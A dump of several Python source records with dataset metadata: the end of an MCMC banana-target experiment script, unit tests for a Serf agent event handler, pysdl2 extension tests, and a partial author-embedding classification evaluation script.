aggs_hmc_kmc[(N, D)]:\n print(agg.__class__.__name__)\n plot_diagnosis(agg, D)\n \n for agg in aggs_rw_kameleon[(N, D)]:\n print(agg.__class__.__name__)\n plot_diagnosis(agg, D)\n", "sub_path": "scripts/experiments/mcmc/banana_target/random_feats/mcmc_banana_target.py", "file_name": "mcmc_banana_target.py", "file_ext": "py", "file_size_in_byte": 9113, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.sep", "line_number": 27, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 30, "usage_type": "call"}, {"api_name": "kmc.densities.banana.densities", "line_number": 31, "usage_type": "attribute"}, {"api_name": "kmc.densities.banana", "line_number": 31, "usage_type": "name"}, {"api_name": "kmc.tools.convergence_stats.avg_ess", "line_number": 32, "usage_type": "name"}, {"api_name": "kmc.tools.convergence_stats.min_ess", "line_number": 33, "usage_type": "name"}, {"api_name": "kmc.densities.banana.norm_of_emp_mean", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "kmc.densities.gaussian.IsotropicZeroMeanGaussian", "line_number": 50, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.HMCJob.HMCJob", "line_number": 51, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.RWJob.RWJob", "line_number": 64, "usage_type": "call"}, {"api_name": "kmc.densities.gaussian.IsotropicZeroMeanGaussian", "line_number": 78, "usage_type": "call"}, {"api_name": "kmc.densities.banana.sample_banana", "line_number": 88, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.KMCRandomFeatsJob.KMCRandomFeatsJob", "line_number": 89, "usage_type": "call"}, {"api_name": "kmc.densities.banana.sample_banana", "line_number": 122, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 125, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.pdist", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 126, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.KameleonJob.KameleonJob", "line_number": 130, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger.setLevel", "line_number": 136, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.sort", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 142, "usage_type": "call"}, {"api_name": "kmc.densities.banana.Banana", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 162, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 162, "usage_type": "call"}, {"api_name": "independent_jobs.tools.FileSystem.FileSystem.cmd_exists", "line_number": 166, "usage_type": "call"}, {"api_name": "independent_jobs.tools.FileSystem.FileSystem", "line_number": 166, "usage_type": "name"}, {"api_name": "independent_jobs.engines.SerialComputationEngine.SerialComputationEngine", "line_number": 167, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 171, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 171, "usage_type": "call"}, {"api_name": "independent_jobs.engines.BatchClusterParameters.BatchClusterParameters", "line_number": 172, "usage_type": "call"}, {"api_name": "independent_jobs.engines.SlurmComputationEngine.SlurmComputationEngine", "line_number": 175, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger.info", "line_number": 195, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger", "line_number": 195, "usage_type": "name"}, {"api_name": "kmc.tools.Log.logger.info", "line_number": 198, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger", "line_number": 198, "usage_type": "name"}, {"api_name": "kmc.tools.Log.logger.info", "line_number": 202, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger", "line_number": 202, "usage_type": "name"}, {"api_name": "kmc.tools.Log.logger.info", "line_number": 205, "usage_type": "call"}, {"api_name": "kmc.tools.Log.logger", "line_number": 205, "usage_type": "name"}, {"api_name": "independent_jobs.engines.SerialComputationEngine.SerialComputationEngine", "line_number": 210, "usage_type": "argument"}, {"api_name": "os.path.expanduser", "line_number": 211, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 211, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 213, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 218, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 223, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 227, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 232, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.debug.plot_diagnosis", "line_number": 240, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.debug.plot_diagnosis", "line_number": 244, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.debug.plot_diagnosis", "line_number": 249, "usage_type": "call"}, {"api_name": "scripts.experiments.mcmc.independent_job_classes.debug.plot_diagnosis", "line_number": 253, "usage_type": "call"}]} {"seq_id": "258433715", "text": "#!/usr/bin/python\nfrom AgentEventHandler import AgentEventHandler\nimport unittest\nimport os\nimport logging\nfrom testfixtures import LogCapture\nimport subprocess\n\n\nclass TestAgentEventHandler(unittest.TestCase):\n\n CID = \"ce6437097f5683f0b9fdf01295450753ba600e33562cd4675500fdb03bfd1ff0\"\n WRONG_CID = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\\\n XXX\"\n PAYLOAD_WITH_TARGET = \"TARGET=\" + CID + \" MEMORY_LEVEL=80\"\n PAYLOAD_NO_TARGET = \"MEMORY_LEVEL=80\"\n TARGET_ARGUMENT_KEY = \"TARGET\"\n TARGET_ARGUMENT_PAIR = \"TARGET=\" + CID\n TARGET_ARGUMENT_VALUE = CID\n MEMORY_LEVEL_ARGUMENT_KEY = \"MEMORY_LEVEL\"\n MEMORY_LEVEL_ARGUMENT_PAIR = \"MEMORY_LEVEL=80\"\n MEMORY_LEVEL_ARGUMENT_VALUE = \"80\"\n\n def setUp(self):\n pass\n\n def testGetPayload(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET)\n self.assertEqual(\n self.PAYLOAD_WITH_TARGET, agentEventHandler.getPayload())\n\n def testGetArgumentPairs(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET)\n self.assertEqual(\n self.TARGET_ARGUMENT_PAIR,\n agentEventHandler.getArgumentPair(self.TARGET_ARGUMENT_KEY))\n self.assertEqual(\n self.MEMORY_LEVEL_ARGUMENT_PAIR,\n agentEventHandler.getArgumentPair(self.MEMORY_LEVEL_ARGUMENT_KEY))\n\n def testGetArgumentValues(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET)\n self.assertEqual(\n self.TARGET_ARGUMENT_VALUE,\n agentEventHandler.getArgumentValue(self.TARGET_ARGUMENT_PAIR))\n self.assertEqual(\n self.MEMORY_LEVEL_ARGUMENT_VALUE,\n agentEventHandler.getArgumentValue(\n self.MEMORY_LEVEL_ARGUMENT_PAIR))\n\n def testGetCIDDefault(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET)\n self.assertEqual(\"\", agentEventHandler.getCID())\n\n def testGetCID(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET, self.CID)\n self.assertEqual(self.CID, agentEventHandler.getCID())\n\n def testCorrectTargetWithCorrectCID(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET, self.CID)\n self.assertEqual(True, agentEventHandler.correctTarget())\n\n def testCorrectTargetWithInCorrectCID(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_WITH_TARGET, self.WRONG_CID)\n self.assertEqual(False, agentEventHandler.correctTarget())\n\n def testCorrectTargetWithNoTargetInPayload(self):\n agentEventHandler = AgentEventHandler(self.PAYLOAD_NO_TARGET, self.CID)\n self.assertEqual(True, agentEventHandler.correctTarget())\n\n def testEnvVarWithOsEnviron(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_NO_TARGET, self.CID, os.environ)\n self.assertEqual(None, agentEventHandler.getEnvVar(\"TEST!\"))\n\n def testEnvVarWithMockOsEnviron(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_NO_TARGET,\n self.CID,\n {\"SERF_EVENT\": \"user\", \"SERF_USER_EVENT\": \"TEST_SET_MEMORY\"})\n self.assertEqual(\"user\", agentEventHandler.getEnvVar(\"SERF_EVENT\"))\n\n def testSerfEventIs(self):\n agentEventHandler = AgentEventHandler(\n self.PAYLOAD_NO_TARGET,\n self.CID,\n {\"SERF_EVENT\": \"user\", \"SERF_USER_EVENT\": \"TEST_SET_MEMORY\"})\n self.assertEqual(True, agentEventHandler.serfEventIs(\"user\"))\n\n def testLogging(self):\n def testMemoryHandler(event, payload):\n logger = logging.getLogger(__name__)\n logger.info(\"Called memory handler\")\n\n with LogCapture() as l:\n agentEventHandler = AgentEventHandler(\n payload=self.PAYLOAD_WITH_TARGET,\n CID=self.CID,\n envVars={\"SERF_EVENT\": \"user\",\n \"SERF_USER_EVENT\": \"TEST_SET_MEMORY\"},\n handlers={\"TEST_SET_MEMORY\": testMemoryHandler})\n agentEventHandler.handleShit()\n self.checkLogMessages(l,\n \"Processing user event: TEST_SET_MEMORY\",\n \"Called memory handler\",\n \"Processed\")\n\n def checkLogMessages(self, log, *messages):\n log_str = str(log)\n ind = 0\n for m in messages:\n try:\n new_ind = log_str.index(m, ind)\n ind = new_ind + len(m)\n except ValueError:\n self.fail('Message \"%s\" did not appear in: \\n %s'\n % (m, log_str[ind:-1]))\n\n def testCommandLineCall(self):\n #Check what happens when we replicate a serf call\n subprocess.check_call([\"python\", \"AgentEventHandler.py\"],\n env={\"SERF_EVENT\": \"user\",\n \"SERF_USER_EVENT\": \"TEST_SET_MEMORY\"})\n\n #Test with std-in\n p = subprocess.Popen([\"python\", \"AgentEventHandler.py\"],\n stdin=subprocess.PIPE,\n env={\"SERF_EVENT\": \"user\",\n \"SERF_USER_EVENT\": \"TEST_SET_MEMORY\"})\n p.communicate(input='one\\ntwo\\nthree\\nfour\\nfive\\nsix\\n')[0]\n self.assertEqual(p.returncode, 0)\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "agents/resman/scripts/TestAgentEventHandler.py", "file_name": "TestAgentEventHandler.py", "file_ext": "py", "file_size_in_byte": 5484, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 28, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 34, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 44, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 55, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 60, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 65, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 70, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 75, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 79, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 80, "usage_type": "attribute"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 84, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 99, "usage_type": "call"}, {"api_name": "testfixtures.LogCapture", "line_number": 102, "usage_type": "call"}, {"api_name": "AgentEventHandler.AgentEventHandler", "line_number": 103, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 128, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 133, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 134, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 141, "usage_type": "call"}]} {"seq_id": "293825022", "text": "import sys\r\nimport pytest\r\nfrom sdl2 import ext as sdl2ext\r\nfrom sdl2 import SDL_WasInit, SDL_INIT_VIDEO, SDL_FlushEvent, SDL_USEREVENT, \\\r\n SDL_FIRSTEVENT, SDL_LASTEVENT, SDL_Event, SDL_UserEvent, SDL_PushEvent\r\n\r\n\r\nclass TestSDL2Ext(object):\r\n __tags__ = [\"sdl\", \"sdl2ext\"]\r\n\r\n def test_init_quit(self):\r\n try:\r\n sdl2ext.init()\r\n except sdl2ext.SDLError:\r\n raise pytest.skip('Video subsystem not supported')\r\n assert SDL_WasInit(SDL_INIT_VIDEO) == SDL_INIT_VIDEO\r\n sdl2ext.quit()\r\n assert SDL_WasInit(SDL_INIT_VIDEO) != SDL_INIT_VIDEO\r\n sdl2ext.init()\r\n sdl2ext.init()\r\n sdl2ext.init()\r\n assert SDL_WasInit(SDL_INIT_VIDEO) == SDL_INIT_VIDEO\r\n sdl2ext.quit()\r\n assert SDL_WasInit(SDL_INIT_VIDEO) != SDL_INIT_VIDEO\r\n sdl2ext.quit()\r\n sdl2ext.quit()\r\n sdl2ext.quit()\r\n assert SDL_WasInit(SDL_INIT_VIDEO) != SDL_INIT_VIDEO\r\n\r\n def test_get_events(self):\r\n try:\r\n sdl2ext.init()\r\n except sdl2ext.SDLError:\r\n raise pytest.skip('Video subsystem not supported')\r\n SDL_FlushEvent(SDL_FIRSTEVENT, SDL_LASTEVENT)\r\n for x in range(10):\r\n event = SDL_Event()\r\n event.type = SDL_USEREVENT + 1\r\n event.user = SDL_UserEvent(type=event.type, timestamp=0,\r\n windowID=0, code=0)\r\n SDL_PushEvent(event)\r\n results = sdl2ext.get_events()\r\n assert len(results) == 10\r\n for ev in results:\r\n assert ev.type == (SDL_USEREVENT + 1)\r\n\r\n def test_get_events_issue_6(self):\r\n try:\r\n sdl2ext.init()\r\n except sdl2ext.SDLError:\r\n raise pytest.skip('Video subsystem not supported')\r\n SDL_FlushEvent(SDL_FIRSTEVENT, SDL_LASTEVENT)\r\n for x in range(12):\r\n event = SDL_Event()\r\n event.type = SDL_USEREVENT + x\r\n event.user = SDL_UserEvent(type=event.type, timestamp=0,\r\n windowID=0, code=0)\r\n SDL_PushEvent(event)\r\n results = sdl2ext.get_events()\r\n for idx, r in enumerate(results):\r\n assert idx == r.type - SDL_USEREVENT\r\n\r\n def test_TestEventProcessor(self):\r\n proc = sdl2ext.TestEventProcessor()\r\n assert isinstance(proc, sdl2ext.TestEventProcessor)\r\n", "sub_path": "env/lib/python3.8/site-packages/sdl2/test/sdl2ext_test.py", "file_name": "sdl2ext_test.py", "file_ext": "py", "file_size_in_byte": 2399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sdl2.ext.init", "line_number": 13, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 13, "usage_type": "name"}, {"api_name": "sdl2.ext.SDLError", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sdl2.ext", "line_number": 14, "usage_type": "name"}, {"api_name": "pytest.skip", "line_number": 15, "usage_type": "call"}, {"api_name": "sdl2.SDL_WasInit", "line_number": 16, "usage_type": "call"}, {"api_name": "sdl2.SDL_INIT_VIDEO", "line_number": 16, "usage_type": "argument"}, {"api_name": "sdl2.ext.quit", "line_number": 17, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 17, "usage_type": "name"}, {"api_name": "sdl2.SDL_WasInit", "line_number": 18, "usage_type": "call"}, {"api_name": "sdl2.SDL_INIT_VIDEO", "line_number": 18, "usage_type": "argument"}, {"api_name": "sdl2.ext.init", "line_number": 19, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 19, "usage_type": "name"}, {"api_name": "sdl2.ext.init", "line_number": 20, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 20, "usage_type": "name"}, {"api_name": "sdl2.ext.init", "line_number": 21, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 21, "usage_type": "name"}, {"api_name": "sdl2.SDL_WasInit", "line_number": 22, "usage_type": "call"}, {"api_name": "sdl2.SDL_INIT_VIDEO", "line_number": 22, "usage_type": "argument"}, {"api_name": "sdl2.ext.quit", "line_number": 23, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 23, "usage_type": "name"}, {"api_name": "sdl2.SDL_WasInit", "line_number": 24, "usage_type": "call"}, {"api_name": "sdl2.SDL_INIT_VIDEO", "line_number": 24, "usage_type": "argument"}, {"api_name": "sdl2.ext.quit", "line_number": 25, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 25, "usage_type": "name"}, {"api_name": "sdl2.ext.quit", "line_number": 26, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 26, "usage_type": "name"}, {"api_name": "sdl2.ext.quit", "line_number": 27, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 27, "usage_type": "name"}, {"api_name": "sdl2.SDL_WasInit", "line_number": 28, "usage_type": "call"}, {"api_name": "sdl2.SDL_INIT_VIDEO", "line_number": 28, "usage_type": "argument"}, {"api_name": "sdl2.ext.init", "line_number": 32, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 32, "usage_type": "name"}, {"api_name": "sdl2.ext.SDLError", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sdl2.ext", "line_number": 33, "usage_type": "name"}, {"api_name": "pytest.skip", "line_number": 34, "usage_type": "call"}, {"api_name": "sdl2.SDL_FlushEvent", "line_number": 35, "usage_type": "call"}, {"api_name": "sdl2.SDL_FIRSTEVENT", "line_number": 35, "usage_type": "argument"}, {"api_name": "sdl2.SDL_LASTEVENT", "line_number": 35, "usage_type": "argument"}, {"api_name": "sdl2.SDL_Event", "line_number": 37, "usage_type": "call"}, {"api_name": "sdl2.SDL_USEREVENT", "line_number": 38, "usage_type": "name"}, {"api_name": "sdl2.SDL_UserEvent", "line_number": 39, "usage_type": "call"}, {"api_name": "sdl2.SDL_PushEvent", "line_number": 41, "usage_type": "call"}, {"api_name": "sdl2.ext.get_events", "line_number": 42, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 42, "usage_type": "name"}, {"api_name": "sdl2.SDL_USEREVENT", "line_number": 45, "usage_type": "name"}, {"api_name": "sdl2.ext.init", "line_number": 49, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 49, "usage_type": "name"}, {"api_name": "sdl2.ext.SDLError", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sdl2.ext", "line_number": 50, "usage_type": "name"}, {"api_name": "pytest.skip", "line_number": 51, "usage_type": "call"}, {"api_name": "sdl2.SDL_FlushEvent", "line_number": 52, "usage_type": "call"}, {"api_name": "sdl2.SDL_FIRSTEVENT", "line_number": 52, "usage_type": "argument"}, {"api_name": "sdl2.SDL_LASTEVENT", "line_number": 52, "usage_type": "argument"}, {"api_name": "sdl2.SDL_Event", "line_number": 54, "usage_type": "call"}, {"api_name": "sdl2.SDL_USEREVENT", "line_number": 55, "usage_type": "name"}, {"api_name": "sdl2.SDL_UserEvent", "line_number": 56, "usage_type": "call"}, {"api_name": "sdl2.SDL_PushEvent", "line_number": 58, "usage_type": "call"}, {"api_name": "sdl2.ext.get_events", "line_number": 59, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 59, "usage_type": "name"}, {"api_name": "sdl2.SDL_USEREVENT", "line_number": 61, "usage_type": "name"}, {"api_name": "sdl2.ext.TestEventProcessor", "line_number": 64, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 64, "usage_type": "name"}, {"api_name": "sdl2.ext.TestEventProcessor", "line_number": 65, "usage_type": "attribute"}, {"api_name": "sdl2.ext", "line_number": 65, "usage_type": "name"}]} {"seq_id": "91854166", "text": "import argparse\n\nfrom sklearn import metrics\nimport sklearn.preprocessing as preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import f1_score\nfrom sklearn.cluster import KMeans\nimport numpy as np\n\nimport sys\n\nsys.path.append('/home/qiaozy/Author_profiling')\n# from bert_pytorch.dataset import WordVocab\n\nimport pickle\nimport tqdm\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\nimport torch.nn as nn\nfrom torch.optim import Adam\n\n\ndef load_data(corpus_path, encoding=\"utf-8\"):\n author_labels = []\n authors = []\n with open(corpus_path, \"r\", encoding=encoding) as f:\n # for i, line in enumerate(tqdm.tqdm(f, desc=\"Loading Dataset\")):\n for i, line in enumerate(f):\n author, words, label = line.replace(\"\\n\", \"\").split(\"\\t\")\n authors.append(author)\n author_labels.append(int(label))\n\n return authors, author_labels\n\n\ndef load_embedding(authors, embs):\n with open(embs, 'rb') as f:\n author_embeddings = pickle.load(f)\n embeddings = []\n for a in authors:\n embeddings.append(author_embeddings[a])\n return embeddings\n\n\nclass ClassificationDataset(Dataset):\n def __init__(self, data, author_labels):\n self.author_labels = author_labels\n self.data = data\n self.corpus_lines = len(self.data)\n\n def __len__(self):\n return self.corpus_lines\n\n def __getitem__(self, item):\n output = {\"input\": self.data[item],\n \"label\": self.author_labels[item]}\n\n return {key: torch.tensor(value) for key, value in output.items()}\n\n\nclass CModel(nn.Module):\n def __init__(self, hidden=64, label_num=4):\n super().__init__()\n\n self.linear = nn.Linear(hidden, hidden)\n self.linear1 = nn.Linear(hidden, label_num)\n self.softmax = nn.LogSoftmax(dim=-1)\n\n self.criterion = nn.NLLLoss()\n\n def forward(self, data):\n author_embeddings = data[\"input\"]\n author_output = self.softmax(self.linear1(self.linear(author_embeddings)))\n loss = self.criterion(author_output, data[\"label\"])\n\n return loss, author_output\n\n\nclass Trainer:\n def __init__(self, hidden=64, label_num: int = 4,\n lr: float = 1e-3, weight_decay: float = 1e-7, with_cuda: bool = True, log_freq: int = 10):\n\n cuda_condition = torch.cuda.is_available() and with_cuda\n self.device = torch.device(\"cuda:1\" if cuda_condition else \"cpu\")\n\n self.model = CModel(hidden, label_num).to(self.device)\n\n self.log_freq = log_freq\n\n self.optim = Adam(self.model.parameters(), lr=lr, weight_decay=weight_decay)\n\n def train(self, epoch, data_loader):\n str_code = \"train\"\n # data_iter = tqdm.tqdm(enumerate(data_loader),\n # desc=\"EP_%s:%d\" % (str_code, epoch),\n # total=len(data_loader),\n # bar_format=\"{l_bar}{r_bar}\")\n data_iter = enumerate(data_loader)\n avg_loss = 0.0\n total_correct = 0\n total_element = 0\n\n pre_label = []\n ture_label = []\n\n self.model.train()\n\n for i, data in data_iter:\n # 0. batch_data will be sent into the device(GPU or cpu)\n data = {key: value.to(self.device) for key, value in data.items()}\n\n loss, author_output = self.model(data)\n\n self.optim.zero_grad()\n loss.backward()\n self.optim.step()\n\n avg_loss += loss.item()\n\n correct = author_output.argmax(dim=-1).eq(data[\"label\"]).sum().item()\n avg_loss += loss.item()\n total_correct += correct\n total_element += data[\"label\"].nelement()\n\n ture_label.extend(data[\"label\"].cpu().detach().numpy())\n pre_label.extend(author_output.argmax(dim=-1).cpu().detach().numpy())\n\n post_fix = {\n \"epoch\": epoch,\n \"iter\": i,\n \"avg_loss\": avg_loss / (i + 1),\n \"avg_acc\": total_correct / total_element * 100,\n \"loss\": loss.item()\n }\n\n # if i % self.log_freq == 0:\n # data_iter.write(str(post_fix))\n MicroF1 = f1_score(ture_label, pre_label, average='micro')\n MacroF1 = f1_score(ture_label, pre_label, average='macro')\n total_acc = total_correct * 100.0 / total_element\n # print(\"EP%d_%s, avg_loss=\" % (epoch, str_code), avg_loss / len(data_iter), 'Micro_F1=', MicroF1, 'Macro_F1=',\n # MacroF1)\n return total_acc\n\n def evaluator(self, embs, label):\n estimator = KMeans(n_clusters=4)\n estimator.fit(embs)\n label_pred = estimator.labels_\n\n print('NMI:%.4f' % metrics.normalized_mutual_info_score(label, label_pred))\n print('ARI:%.4f' % metrics.adjusted_rand_score(label, label_pred))\n\n scaler = preprocessing.StandardScaler()\n X = scaler.fit_transform(embs)\n X = np.mat(X)\n train_X, test_X, train_y, test_y = train_test_split(X, label, test_size=0.6)\n model = LogisticRegression()\n model.fit(train_X, train_y)\n pred_y = model.predict(test_X)\n\n print('Micro-F1: %.4f' % f1_score(test_y, pred_y, average='micro'))\n print('Macro-F1: %.4f' % f1_score(test_y, pred_y, average='macro'))\n\n def predict(self, epoch, data_loader, str_code):\n # str_code = \"train\"\n # data_iter = tqdm.tqdm(enumerate(data_loader),\n # desc=\"EP_%s:%d\" % (str_code, epoch),\n # total=len(data_loader),\n # bar_format=\"{l_bar}{r_bar}\")\n data_iter = enumerate(data_loader)\n avg_loss = 0.0\n total_correct = 0\n total_element = 0\n\n ture_label = []\n pre_label = []\n\n self.model.eval()\n\n for i, data in data_iter:\n # 0. batch_data will be sent into the device(GPU or cpu)\n data = {key: value.to(self.device) for key, value in data.items()}\n\n _, author_output = self.model(data)\n\n correct = author_output.argmax(dim=-1).eq(data[\"label\"]).sum().item()\n total_correct += correct\n total_element += data[\"label\"].nelement()\n\n ture_label.extend(data[\"label\"].cpu().detach().numpy())\n pre_label.extend(author_output.argmax(dim=-1).cpu().detach().numpy())\n\n post_fix = {\n \"epoch\": epoch,\n \"iter\": i,\n \"avg_acc\": total_correct / total_element * 100,\n }\n\n # if i % self.log_freq == 0:\n # data_iter.write(str(post_fix))\n\n total_acc = total_correct * 100.0 / total_element\n MicroF1 = f1_score(ture_label, pre_label, average='micro')\n MacroF1 = f1_score(ture_label, pre_label, average='macro')\n # print(\"EP%d_%s, \" % (epoch, str_code), 'Micro_F1=', MicroF1, 'Macro_F1=', MacroF1)\n\n # self.evaluator(np.array(all_embeddings), np.array(labels))\n return total_acc, MicroF1, MacroF1\n\n\ndef train(args,\n train_data, train_y, valid_data, valid_y, test_data, test_y):\n\n # print(\"Loading Train Dataset\")\n train_dataset = ClassificationDataset(train_data, train_y)\n # print(\"Loading valid Dataset\")\n valid_dataset = ClassificationDataset(valid_data, valid_y)\n # print(\"Loading valid Dataset\")\n test_dataset = ClassificationDataset(test_data, test_y)\n\n # print(\"Creating Dataloader\")\n train_data_loader = DataLoader(train_dataset, batch_size=args.batch_size, num_workers=args.num_workers)\n valid_data_loader = DataLoader(valid_dataset, batch_size=args.batch_size, num_workers=args.num_workers)\n test_data_loader = DataLoader(test_dataset, batch_size=args.batch_size, num_workers=args.num_workers)\n\n # print(\"Creating BERT Trainer\")\n trainer = Trainer(hidden=64, label_num=4)\n\n # print(\"Training Start\")\n best_valid_acc = -1\n result = \"\"\n test_acc = trainer.predict(-1, test_data_loader, \"test\")\n for epoch in range(args.epochs):\n train_acc = trainer.train(epoch, train_data_loader)\n valid_acc, _, _ = trainer.predict(epoch, valid_data_loader, \"valid\")\n test_acc, MicroF1, MacroF1 = trainer.predict(epoch, test_data_loader, \"test\")\n\n if valid_acc > best_valid_acc:\n result = [MicroF1, MacroF1]\n best_valid_acc = valid_acc\n\n # print(\"result:\", str(result))\n return result\n\nif __name__ == '__main__':\n best_Mi = [-1, -1, -1, -1, -1, -1]\n best_Ma = [-1, -1, -1, -1, -1, -1]\n best_A_epoch = [-1, -1, -1]\n best_I_epoch = [-1, -1, -1]\n authors, label = load_data('/home/xiaomeng/jupyter_base/author_embedding/data/test_author_text_corpus.txt')\n\n\n for i in range(2000) :\n epoch = i\n print('epoch : {}'.format(epoch))\n parser = argparse.ArgumentParser()\n author_embedding = load_embedding(authors,\n '/home/xiaomeng/jupyter_base/author_embedding/codes/GCN/emb/rgcn_embed_{}.pkl'.format(\n epoch))\n\n\n\n\n parser.add_argument(\"-c\", \"--dataset\", default= '/home/xiaomeng/jupyter_base/author_embedding/data/test_author_text_corpus.txt', type=str, help=\"classification dataset address\")\n parser.add_argument(\"-e\", \"--epochs\", type=int, default=10, help=\"number of epochs\")\n # parser.add_argument(\"-v\", \"--embs\", type=str, default='/home/xiaomeng/jupyter_base/author_embedding/codes/GCN/gcn_embed_{}.pkl'.format(epoch),help=\"researcher embeddings\")\n parser.add_argument(\"-w\", \"--num_workers\", type=int, default=0, help=\"dataloader worker size\")\n parser.add_argument(\"-s\", \"--seq_len\", type=int, default=200, help=\"maximum sequence len\")\n parser.add_argument(\"-b\", \"--batch_size\", type=int, default=32, help=\"number of batch_size\")\n\n args = parser.parse_args()\n\n\n train_data, test_data, train_y, test_y = train_test_split(author_embedding, label, test_size=0.7)\n train_data, valid_data, train_y, valid_y = train_test_split(train_data, train_y, test_size=0.33)\n result_1 = train(args, train_data, train_y, valid_data, valid_y, test_data, test_y)\n\n MicroF1 = result_1[0]\n MacroF1 = result_1[1]\n if best_Mi[2] < MicroF1:\n print('best_MI 20/10/70 found in round {}'.format(epoch))\n best_Mi[2] = result_1[0]\n best_Mi[3] = result_1[1]\n best_I_epoch[1] = epoch\n if best_Ma[3] < MacroF1:\n # print(result_0)\n print('best_MA 20/10/70 found in round {}'.format(epoch))\n best_Ma[2] = result_1[0]\n best_Ma[3] = result_1[1]\n best_A_epoch[1] = epoch\n print('best MI:', best_Mi)\n print('best MA:', best_Ma)\n", "sub_path": "Evaluate/E1.py", "file_name": "E1.py", "file_ext": "py", "file_size_in_byte": 10896, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 13, "usage_type": "call"}, 